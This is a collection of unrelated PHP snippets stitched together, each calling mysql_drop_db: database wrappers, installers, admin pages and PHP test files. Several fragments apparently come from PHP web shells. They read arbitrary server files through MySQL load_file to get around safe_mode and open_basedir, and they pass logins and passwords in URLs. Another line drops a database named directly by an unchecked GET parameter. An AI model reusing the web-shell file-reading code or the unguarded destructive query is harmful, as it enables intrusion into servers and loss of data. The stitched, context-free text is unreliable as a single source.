function DropDatabase(&$db, $name) { if (!$db->Connect()) { return 0; } if (function_exists("mysql_drop_db")) { $success = mysql_drop_db($name, $db->connection); } else { $db->EscapeText($name); $success = mysql_query("DROP DATABASE {$name}", $db->connection); } if (!$success) { return $db->SetError("Drop database", mysql_error($db->connection)); } return 1; }
$name = mysql_field_name($result, $i); } $f = ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join("\r\n", $row); } if (empty($f)) { echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>"; } else { echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>"; } mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo "</td></tr></table>"; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if (!is_numeric($affected) or $affected < 0) { $affected = 0; } echo "<tr><td><center><b>Affected rows: " . $affected . "</center></td></tr>"; } echo "</table>"; }
<?php try { mysql_drop_db(''); } catch (Exception $e) { echo $e->getMessage(), "\n"; }
print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>"; } else { die("{$h_error}" . mysql_error() . "{$f_error} <head><META HTTP-EQUIV='Refresh' CONTENT='2;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>"); } unset($new_db); } /*Удаление базы*/ if (isset($_GET['drop'])) { $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>{$h_error}" . mysql_error() . "{$f_error}</td></tr></table>"); while ($row_d = mysql_fetch_row($result_d)) { if ($drop == $row_d[0]) { $dr = "TRUE"; } } if ($dr == "TRUE") { mysql_drop_db($drop, $connection); print "<center><font size=2>База <b>{$drop}</b> успешно удалена...</font></center><br>"; print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>"; } unset($drop); } /*-------------Читаем произвольный файл сервера-----------*/ if (isset($f)) { print $form_file; } if (isset($p_file)) { // mysql_create_db("tmp_bd",$connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); // mysql_create_db("tmp_bd") or die("$h_error<b>".mysql_error()."</b>$f_error"); // mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error<b>".mysql_error()."</b>$f_error"); $result = mysql_query("SELECT hex(load_file('" . addslashes($p_file) . "')) as `fc`") or die("{$h_error}<b>" . mysql_error() . "</b>{$f_error}"); // $query = "SELECT * FROM tmp_file";
function dropDB($DBName) { /* 丢弃(删除)一个 MySQL 数据库 */ return mysql_drop_db($DBName, $this->LinkId); }
function install($dbfile, $datafile = "", &$returnArr) { $createCount = 0; $fillCount = 0; if (mysql_drop_db($this->_dbname)) { $returnArr[0] = "Dropping database: {$this->_dbname}.<br>...Done"; } else { $returnArr[0] = "Using new database.<br>...Done"; } if (mysql_create_db($this->_dbname)) { $returnArr[1] = "Creating database: {$this->_dbname}.<br>...Done"; } else { new ErrorHandler(get_class($this), "install", "", "could not create database: {$this->_dbname}"); } if (!mysql_select_db($this->_dbname)) { new ErrorHandler(get_class($this), "install", "", "could not select database: {$this->_dbname}"); } else { $returnArr[2] = "Using database: {$this->_dbname}.<br>...Done"; } if (!file($dbfile)) { new ErrorHandler(get_class($this), "install", "", "could not open {$dbfile}"); } else { $createCount = $this->installFile($dbfile); $returnArr[3] = "Creating tables.<br>...Done<br>{$createCount} queries affected"; } if ($datafile != "") { if (!file($datafile)) { new ErrorHandler(get_class($this), "install", "", "could not open {$datafile}"); } else { $fillCount = $this->installFile($datafile); $returnArr[4] = "Filling tables.<br>...Done<br>{$fillCount} queries affected"; } } return true; }
$name = mysql_field_name($result, $i); } $f = ""; while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { foreach ($line as $key => $col_value) { $f .= $col_value; } } if (empty($f)) { echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b>"; } else { echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)); } } mysql_free_result($result); if (!mysql_drop_db("tmp_bd")) { echo "Can't drop tempory DB \"tmp_bd\"!"; } } } } } } echo "</tr></table></table>"; } if ($act == "mkdir") { if ($mkdir != $d) { if (file_exists($mkdir)) { echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: object alredy exists"; } elseif (!mkdir($mkdir)) { echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: access denied";
function dropDatabase() { global $mysqlHandle, $dbname, $PHP_SELF; mysql_drop_db($dbname, $mysqlHandle); listDatabases(); }
/** * @param $db_name * @return bool */ public function dropDB($db_name) { // for PHP4 if ($this->mode == self::MODE_MYSQL && function_exists('mysql_drop_db')) { if (mysql_drop_db($db_name, $this->linkId)) { return true; } } else { $sql = "DROP DATABASE " . $this->escapeColumn(":DB") . ";"; $query = $this->createQuery()->queryExecute($sql, array("DB" => $db_name)); return $query->getResult() ? true : false; } return false; }
<meta name="ProgId" content="FrontPage.Editor.Document"> <title>Admin top page</title> </head> <body background="rlaemb.JPG"> <!--create or drop database--> <?php include "admin_access.inc"; include 'rla_functions.inc'; if ($create) { $action = $action; if ($action == "Create a DB") { $result = mysql_create_db($dbname, $contid); } elseif ($action == "Drop a DB") { $result = mysql_drop_db($dbname, $contid); } $outcome = '<h2><font size="5">'; if ($result) { $outcome = "Database \"{$dbname}\" has been {$action} successfully.<br>"; } else { $outcome = "Database \"{$dbname}\" has failed to be {$action} .<br>"; } $outcome = $outcome . '</font></h2>'; $outcome = $outcome . '<a href="admin_dbedit_top.php">Create or drop Database</a>'; } ?> <!--Change DB--> <div align="center"> <center>
/** * Delete database * * @database - database name * @returns true if succeed * */ public function delete_database($tablename) { return @mysql_drop_db($tablename); }
function mysql_dropdb($database, $link = null) { return mysql_drop_db($database, $link); }
include_once "connect.inc"; $tmp = NULL; $link = NULL; // NOTE: again this test does not test all of the behaviour of the function if (NULL !== ($tmp = mysql_drop_db())) { printf("[001] Expecting NULL/NULL, got %s/%s\n", gettype($tmp), $tmp); } require 'table.inc'; if (!mysql_query('DROP DATABASE IF EXISTS mysqldropdb')) { printf("[004] [%d] %s\n", mysql_errno($link), mysql_error($link)); } if (!mysql_query('CREATE DATABASE mysqldropdb')) { die(sprintf("[005] Skipping, can't create test database. [%d] %s\n", mysql_errno($link), mysql_error($link))); } if (true !== ($tmp = mysql_drop_db('mysqldropdb', $link))) { printf("[006] Can't drop, got %s/%s. [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link)); } if (false !== ($tmp = mysql_drop_db('mysqldropdb', $link))) { printf("[007] Expecting boolean/false, got %s/%s. [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link)); } mysql_close($link); print "done!\n"; require_once 'connect.inc'; if (!($link = my_mysql_connect($host, $user, $passwd, $db, $port, $socket))) { printf("[c001] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket); } if (!mysql_query("DROP DATABASE IF EXISTS mysqldropdb", $link)) { printf("[c002] [%d] %s\n", mysqli_errno($link), mysqli_error($link)); } mysql_close($link);
<?php mysql_drop_db("{$_GET['dbname']}");
print "<b>File content</b>:<br><br>"; for($i=0;$i<mysql_num_fields($result);$i++){ $name=mysql_field_name($result,$i);} while($line=mysql_fetch_array($result, MYSQL_ASSOC)){ foreach ($line as $key =>$col_value) { print htmlspecialchars($col_value)."<br>";}} mysql_free_result($result); mysql_drop_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); } print $copyr; die; }#end of read_file_safe_mode
} if (!$ret) { printf("FAILURE: mysql_drop_db(name, con) failed, [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_create_db($test_db_name); if (!$ret) { printf("FAILURE: failed to create test database [2], check your setup! FAILURE: [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_drop_db($test_db_name); if (!is_bool($ret)) { printf("FAILURE: mysql_drop_db(name) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con)); } if (!$ret) { printf("FAILURE: mysql_drop_db(name) failed, [%d] %s\n", mysql_errno($con), mysql_error($con)); } $ret = mysql_drop_db($test_db_name, $illegal_link_identifier); if (!is_bool($ret)) { printf("FAILURE: mysql_drop_db(name, illegal link identifier) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con)); } if ($ret) { printf("FAILURE: mysql_drop_db(name, illegal link identifier) failed, [%d] %s\n", mysql_errno($con), mysql_error($con)); } } mysql_close($con); ?> --EXPECT-EXT/MYSQL-OUTPUT-- SUCCESS: connect --EXPECT-EXT/MYSQL-PHP-ERRORS-- --EXPECT-EXT/MYSQLI-OUTPUT-- SUCCESS: connect
/** * DB削除 * * @param $dbname * @return bool */ public function dropDB($dbname) { $success = false; // 接続 $this->connectDB(); // DB削除 if ($this->linkId) { // for PHP4 if ($this->mysql_mode == MYSQL_MODE_MYSQL && function_exists('mysql_drop_db')) { if (mysql_drop_db($dbname, $this->linkId)) { $success = true; } } else { $sql = 'DROP DATABASE `' . $dbname . "`"; if ($this->mysql_mode == MYSQL_MODE_MYSQL) { if (mysql_query($sql, $this->linkId)) { $success = true; } } else { if ($this->mysql_mode == MYSQL_MODE_MYSQLI) { if (mysqli_query($sql, $this->linkId)) { $success = true; } } } } $this->close(); } return $success; }
function dbDrop($database, $conexao){ $this->database = $database; $this->conexao = $conexao; return @mysql_drop_db($this->database, $this->conexao); }
/** * Test mysql_drop_db * * @return boolean */ public function MySQL_Drop_Db_Test() { return mysql_drop_db('unit_sql_v_2') === true; }
function drop_db($dbname) { return @mysql_drop_db($dbname, $this->conn); }
/** * Test mysql_drop_db * * @return boolean */ public function MySQL_Drop_Db_Test() { // Connect $newDb = 'unit_sql_v_2'; return mysql_drop_db($newDb) === $this->_object->mysql_drop_db($newDb); }
function dropdb() { mysql_drop_db($this->dbdb, $this->connection); }